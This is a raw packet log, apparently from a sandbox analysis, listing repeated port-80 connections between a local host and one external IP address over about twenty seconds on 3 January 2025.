Jan 3, 2025 18:28:26.354523897 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.394089937 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.398905039 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.401171923 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.401242018 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.406028986 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.472506046 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.477307081 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.479037046 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.479134083 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.483850956 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.502614975 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.752676964 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.757473946 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.757620096 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.830791950 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:26.837480068 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.837490082 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.837498903 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.092004061 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.188879013 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.222424984 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.222490072 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.299482107 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.320983887 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.408946037 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.435132027 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.435132027 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.435329914 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.435409069 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.440129042 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.440196991 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.440258980 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.445310116 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.446481943 CET	80	57333	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.446528912 CET	57333	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.446700096 CET	80	57332	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.446739912 CET	57332	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.446743011 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.446783066 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.799554110 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:27.804423094 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.804441929 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:27.804500103 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.139235020 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.205717087 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.270869017 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.408883095 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.411668062 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.412616014 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.417648077 CET	80	57342	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.418276072 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.418333054 CET	57342	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.418370008 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.418493032 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.424341917 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.768500090 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:28.773521900 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.773554087 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:28.773564100 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.138061047 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.271986008 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.275084019 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.479697943 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.479772091 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.484908104 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.485204935 CET	80	57350	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.485300064 CET	57350	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.485312939 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.485392094 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.490519047 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.831096888 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:29.924618959 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.924671888 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:29.924719095 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.194622040 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.326179981 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.326351881 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.451472998 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.451474905 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.456378937 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.456458092 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.456504107 CET	80	57356	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.456568003 CET	57356	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.456568956 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.461304903 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.815251112 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:30.820151091 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.820188046 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:30.820197105 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.155277014 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.284272909 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.287121058 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.411025047 CET	57368	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.411228895 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.415900946 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.415961981 CET	57368	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.416054010 CET	57368	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.417848110 CET	80	57362	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.419070005 CET	57362	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.420979977 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.768414021 CET	57368	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:31.773416996 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.773442030 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:31.773452044 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.133757114 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.237974882 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.238250971 CET	57368	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.242759943 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.242819071 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.242903948 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.243186951 CET	80	57368	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.243232012 CET	57368	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.247625113 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.596546888 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.601478100 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.601579905 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.859831095 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.864695072 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.864763021 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.865000963 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:32.869832993 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:32.944632053 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.078232050 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.078282118 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.221477032 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.226411104 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.226421118 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.226428986 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.564366102 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.696341038 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.696388960 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.813235998 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.813361883 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.813659906 CET	57384	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.818063021 CET	80	57374	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.818109989 CET	57374	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.818373919 CET	80	57376	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.818417072 CET	57376	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.818532944 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:33.818661928 CET	57384	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.818763018 CET	57384	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:33.823461056 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.174515963 CET	57384	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:34.179347992 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.179358959 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.179389000 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.515271902 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.648000956 CET	80	57384	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.651055098 CET	57384	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:34.767741919 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:34.772543907 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:34.772602081 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:34.772735119 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:34.777515888 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.127738953 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.132644892 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.132663012 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.132672071 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.450181007 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.582396984 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.582453012 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.710232973 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.710432053 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.715363979 CET	80	57392	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.715378046 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:35.715425014 CET	57392	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.715459108 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.715560913 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:35.720340014 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.066268921 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.071150064 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.071161985 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.071168900 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.406944036 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.538260937 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.539041996 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.669430017 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.669712067 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.674426079 CET	80	57398	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.674472094 CET	57398	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.674519062 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:36.674755096 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.674869061 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:36.679661989 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.033998966 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.038851023 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.038868904 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.038878918 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.372992039 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.504179001 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.507019997 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.622220993 CET	57384	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.623930931 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.624022961 CET	57413	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.628751993 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.628823042 CET	80	57405	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.628994942 CET	57405	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.629009008 CET	57413	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.629101992 CET	57413	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.633852959 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.987204075 CET	57413	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:37.992161989 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.992175102 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:37.992182970 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.083929062 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.084295988 CET	57413	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.088790894 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.088867903 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.088994026 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.093732119 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.131486893 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.133755922 CET	80	57413	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.133800983 CET	57413	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.216784000 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.221597910 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.221666098 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.222223043 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.227730036 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.440211058 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.445106983 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.445185900 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.580750942 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:38.585649014 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.585664988 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.585674047 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.802987099 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.912173033 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.934118986 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:38.934165955 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.049067974 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.049634933 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.172611952 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.172669888 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.172954082 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.177608013 CET	80	57416	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.177656889 CET	57416	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.177700996 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.177750111 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.177880049 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.178014040 CET	80	57417	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.178594112 CET	57417	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.184264898 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.533890009 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:39.538819075 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.538852930 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.538871050 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:39.885056973 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.002506018 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.140800953 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.140847921 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.140903950 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.271570921 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.271995068 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.276563883 CET	80	57425	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.276608944 CET	57425	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.276822090 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.276875019 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.278831959 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.283689976 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.627597094 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:40.632549047 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.632560968 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.632575035 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:40.982593060 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.111865044 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.134449959 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.251991987 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.252053022 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.256819010 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.257018089 CET	80	57432	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.257124901 CET	57432	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.257148981 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.257293940 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.262025118 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.611959934 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:41.616827011 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.616839886 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.616854906 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:41.974958897 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.111856937 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.112700939 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.260427952 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.265620947 CET	80	57436	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.266995907 CET	57436	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.277477980 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.283147097 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.285402060 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.285542011 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.290326118 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.644687891 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:42.649616003 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.649633884 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.649642944 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:42.976512909 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.028637886 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.106259108 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.188194990 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.250147104 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.250524044 CET	57438	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.255199909 CET	80	57437	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.255254984 CET	57437	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.255294085 CET	80	57438	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.255351067 CET	57438	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.255465984 CET	57438	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.260227919 CET	80	57438	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.611938953 CET	57438	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.616959095 CET	80	57438	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.616971970 CET	80	57438	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.616980076 CET	80	57438	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.940846920 CET	57438	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.940871000 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.945734024 CET	80	57439	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.945861101 CET	80	57438	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:43.945872068 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.945919037 CET	57438	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.946012020 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:43.950716019 CET	80	57439	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.061863899 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:44.066874027 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.070993900 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:44.071118116 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:44.075886011 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.299494982 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:44.305361032 CET	80	57439	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.305502892 CET	80	57439	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.424407005 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:44.429337978 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.429348946 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.429358006 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.637290001 CET	80	57439	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.768359900 CET	80	57439	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.768423080 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:44.782955885 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.914376020 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:44.914433956 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.041555882 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.041614056 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.043031931 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.046642065 CET	80	57439	86.110.194.28	192.168.2.4
